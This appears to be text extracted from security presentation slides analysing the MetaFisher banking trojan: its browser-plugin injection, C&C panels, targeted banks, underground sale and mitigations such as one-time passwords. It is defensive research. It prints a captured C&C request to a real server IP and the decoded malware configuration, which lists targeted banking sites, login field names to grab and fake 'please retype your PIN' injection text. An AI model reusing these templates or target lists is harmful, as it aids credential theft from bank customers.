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Traditional Phishing

+ Measures against Phishing:

▪ Prevent users from being phished

– EV certs

– Passmark system

– .bank TLD initiative

▪ Prevent stolen credentials from being misused

– Stronger authentication (2FA, nFA)

– Fraud detection system

+ But of course:

If you deploy 2FA the bad guys will steal your 

second factor!
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Phishing the second factor
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Browser Helper Objects
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+ DLL modules designed as a plug-in for 
Microsoft's IE to provide added functionality. 

+ Introduced in October 1997

+ Loaded once by each new instance of 
Internet Explorer. 

+ Loaded for each instance of the Windows 
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+ Examples: Adobe Acrobat, Alexa Toolbar, 
Google Toolbar

+ The BHO API provides access to the 
Document Object Model (DOM)
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BHO Process Injection

+ Browser Help Object: METAFISHER

▪ 'Plugin' for Microsoft Internet Explorer

▪ Runs in the process space of IE

▪ Has complete control over what IE does

▪ SSL transfer is seen in cleartext by BHO

▪ any sort of MITM attack is possible

▪ every piece of information that is send to the internet or received from the net 
can be intercepted and modified, data integrity, confidentiality and accessibility 
are at risk

BHO loaded into Internet Explorer

C:\> tasklist /M ipsec6mon.dll

Image Name                   PID Modules                        

========================= ====== =======

IEXPLORE.EXE                1632 ipsec6mon.dll
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Network Injection (Case Study)

+ HTML Injection and phishing against Spanish Banks: Metafisher

The Metafisher Trojan is able to use HTML injection in a man-in-the-middle phishing 

attack against a list of Spanish banks that is supplied by the C&C server.  At the time 

of this writing the following institutions are being targeted:

▪ Banco Bilbao Vizcaya Argentaria S.A. (bbvanet.com, bbvanetoffice.com)

▪ Caja de Ahorros y Monte de Piedad de Madrid (cajamadrid.es, 

cajamadridempresas.es)

▪ Montes de Piedad y Caja de Ahorros de Ronda Cadiz Almeria Malaga y 

Antequera (unicaja.es)

▪ Caixa D`Estalvis de Catalunya (caixacatalunya.es)

▪ Banco Espanol de Credito S.A. (banesto.es)

▪ Banco Popular Espanol S.A. (bancopopular.es)

▪ Deutsche Bank Sociedad Anonima Espanola (deutsche-bank.es)
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Network Injection (Case Study)

+ HTML injection and phishing against Spanish banks: Metafisher
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MetaFisher Command & Control
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MetaFisher Configuration Page - Bots



18

MetaFisher Configuration Page - Exploits
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MetaFisher Configuration Page - Multiple Users
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MetaFisher Configuration Page - Zombies
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MetaFisher Configuration Page - FTP Login
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MetaFisher Configuration Page - TANS
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Metafisher's "Covert Channel" (XOR obfuscation)

#

# FREQ 900000                                      # contact again in 15 mins (=900 ,000 msec)
#

POST /chat.php?phid=CD0CD60156 A24BABACE97197 DEC9799741 FBEBA29CFB4D6498665 EF9DBC4BD9A&ver=2.1.0&lg=US&r=1144790330 HTTP/1.1
Accept: */*

Content -Type: application /x-www-form-urlencoded

User-Agent : z
Host: 85.249.23.90

Content -Length : 0
Connection : Keep -Alive

Cache-Control : no-cache

HTTP/1.1 200 OK

Date: Wed, 12 Apr 2006 05 :19:38 GMT
Server: Apache /2.0.55 (Unix) PHP/4.4.2

X-Powered -By: PHP/4.4.2

Content -disposition : attachment ; filename =PLBAK46.zip;
Connection : close

Transfer-Encoding : chunked
Content -Type: text/html

2a06
#

# 10,758 bytes (=2a06 hex) of binary data
#

# Data appears to be a ZIP file , starts with 'PK' but it 's in fact 

# instructions provided by the C &C server XORed with the physical 
# id (phid) supplied by the client , and prepended by 'PK'

#
0

$t:!https ://*commerzbanking .de*Tab=1^TRANSTAN1;https ://bankingportal .sparkasse*de^op_absenden |!3;https ://ww2.homebanking */ueberweisung .cgi^tid|!1;https ://
*commerzbanking .de*Tab=812^PltManageDomesticTransfer _8_STR|!1;!https ://*homebanking ^KtoNr;https ://*.de,https ://*.at |tan,tna ,ubo,mck,sna,i2,signature ,iyn;https ://*.de^meiss|!2

$c:5
$l:ebanking .spardabank :customerID ,pin; !bankingportal :kontonumber ;www.vr-*ebanking .de:user,pin,alias;https *seb:userid,pin;diba.de:_USER,_PWD,_IDENT;volksbank .de:Direkt_Nummer,pinMPIN ;!citibank .de/

HomeBankingSecure / insess.asp?_D=WelcomeMat:Cardholder ;ww2.homebanking :KtoNr,PIN;commerzbanking .de:pltlogin _,_nummer;netbanking .at:user_id,cryptedPwd ;sparkasse *.de:param1,param2;banking *de/

ips:j_username ,j_password ;haspa .de:logInKtoNr ,pin;postbank .de:accountNumber ,pinNumber ;sb.*uni-goettingen .de:username,password ;!www.dresdner -privat.de:identifier ;meine.deutsche -
bank .de:Branch ,AccountNumber ,SubAccount ,PIN;banking .donner .de:kntMKontonummer ,pinMPIN;onlinebanking .norisbank .de:kontonummer ,pin;!creditplus .de:hnr ;!internetbanking *GvLogin :KONTONUMMER;interne

tbanking .gad .de:KktNr,KktTxtPw ;!pinLogin .do:identifier ;
$p:https ://www.nwolb.com%Select an account to view |NatWest online banking |For security reasons please retype your PIN , PASSWORD . and then click continue button . Thank You .|ATTENTION! Wrong input may 

suspend your account .|Cancel -Continue |http://billet.com.au/stats /barc .bmp,http://billet.com .au/stats /verisign.bmp,http://billet.com.au/stats /thawte.bmp|PIN |PASSWORD;https ://welcome6.co-

operativebank .co.uk%Security Information |The Co-operative Bank p .l.c.|For security reasons please retype your Memorable date , Place of Birth , Payment athorozation word . and then click continue button . Thank 
You.|ATTENTION ! Wrong input may suspend your account .|Cancel -Continue |http://billet.com.au/stats /barc .bmp,http://billet.com .au/stats /verisign.bmp,http://billet.com.au/stats /thawte.bmp|Date|Place|Word;https ://

ibank .barclays .co.uk%ortfolio|Barclays Online Banking |Dear customer ! For security reasons please retype your 'memorable word'. And then click continue button . Thank You .|ATTENTION ! Wrong input may suspend 
your account .|Cancel -Continue |http ://billet .com.au/stats /barc.bmp,http ://billet .com.au/stats /verisign.bmp,http://billet .com.au/stats /thawte .bmp|Memorable;https ://olb2.nationet .com%Account List |Internet Banking |Dear 

customer ! For security reasons please retype your 'Passnumber '. And then click continue button . Thank You .|ATTENTION ! Wrong input may suspend your account .|Cancel -Continue |http://billet .com.au/stats /

barc.bmp,http ://billet .com.au/stats /verisign.bmp,http://billet .com.au/stats /thawte .bmp|Passnumber
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MetaFisher Configuration Page - Statistics
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MetaFisher Statistics
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MetaFisher Recent Developments
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Exploits WMF 
Vulnerability

Installs BHO in IE

HTTP not  IRC

Obfuscated 
C&C 
Commands

Unique Directory Name by 
Country & Computer

Initial Compromise

FTP Drop 
Servers

Command and Control Servers+ Evidence of activity in the US 

+ Evidence of Russian Business 

Network and Rock Phish

+ Auto-deposits for Sparkasse and 

Postbank ($3000)

+ American Express single Sign-on 

modules

+ Disables Firefox

+ Trojan toolkit and Web server toolkit 

sold on Russian Underground ($6K)
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Metafisher for Sale!
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More Trojans (Russian Toolkits)

+ Metafisher/Agent.dq/BZub/

Tanspy/Cimuz/Nurech

+ Torpig/Sinowal/Anserin

+ OrderGun/Gozi/Ursniff/Snifula/

Zlobotka

+ Snatch

+ Corpse NuclearGrabber

+ Corpse A-311 Death (Haxdoor)

+ NetHell

+ VisualBriz

+ Apophis

+ Pinch/Xinch

+ Limbo

+ Power Grabber

+ 'Matryoshka'

+ 'Banker.CMB'

+ 'Developer'
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More Trojans (Russian Toolkits)
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New Tactics & Techniques

+ Key Logging

▪ Add trigger (e.g. application title)

+ Generic Form Grabbing

▪ More selective to data being transferred by user

▪ Add context (� manage dump)

+ IE Stored Passwords and Auto-Complete Fields (!)

▪ Victim's life is stolen: MySpace, eMail, Retailer, …

▪ Fraudster sees systematic behind usernames/passwords

+ Targeted Approaches

▪ Add more context (� manage dump)

▪ Circumvent specific security measures

– virtual keypads, TANs, instant defraud (vs. collecting credentials)
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Recent Developments – 'Rogue' ISPs

AS    | IP              | CC | AS Name

17992 | 203.223.159.78  | MY | AIMS-AP Applied Information Management Serv

14361 | 209.160.64.214  | US | HOPONE-GLOBAL - HopOne Internet Corporation

25532 | 217.16.27.160   | RU | MASTERHOST-AS .masterhost autonomous system

40989 | 81.95.148.23    | RU | RBN-AS RBusiness Network

2706  | 58.65.232.34    | HK | HKSUPER-HK-AP Pacific Internet (Hong Kong)
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Mitigation Techniques

+ Browser Helper Object Management

+ Enterprise A/V Solutions

+ High Assurance Certificates

+ Fraud Detection

+ Authentication Schemes

▪ One Time Passwords (scratch pads, TAN)

▪ Timed One Time Passwords

▪ Indexed One Time Passwords (iTAN)

▪ Indexed Out of Band One Time Passwords (mTAN)

▪ Token Based Two Factor Authentication
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One Time Password

ayvdh5zw

fjsbguiy
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v85wv8v4

un2e5ie5

pfuiabim

tdsx8nnz

as6zs6cv

va92k3jm

qiai35vz
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Mitigation Techniques

+ Browser Help Object Management

+ Enterprise A/V Solutions

+ High Assurance Certificates

+ Fraud Detection

+ Authentication Schemes

▪ One Time Passwords (scratch pads, TAN)

▪ Indexed One Time Passwords (iTAN)

▪ Timed One Time Passwords

▪ Indexed Out of Band One Time Passwords (mTAN)

▪ Token Based Two Factor Authentication
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Indexed One Time Passwords – Mitigate Some
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Mitigation Techniques
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+ Browser Help Object Management

+ Enterprise A/V Solutions

+ High Assurance Certificates

+ Fraud Detection

+ Authentication Schemes

▪ One Time Passwords

▪ Indexed One Time Passwords

▪ Timed One Time Passwords

▪ Indexed Out of Band One Time Passwords

▪ Token Based Two Factor Authentication

Mitigation Techniques Verdict
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Credit Card Fraud
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Credit Card Fraud
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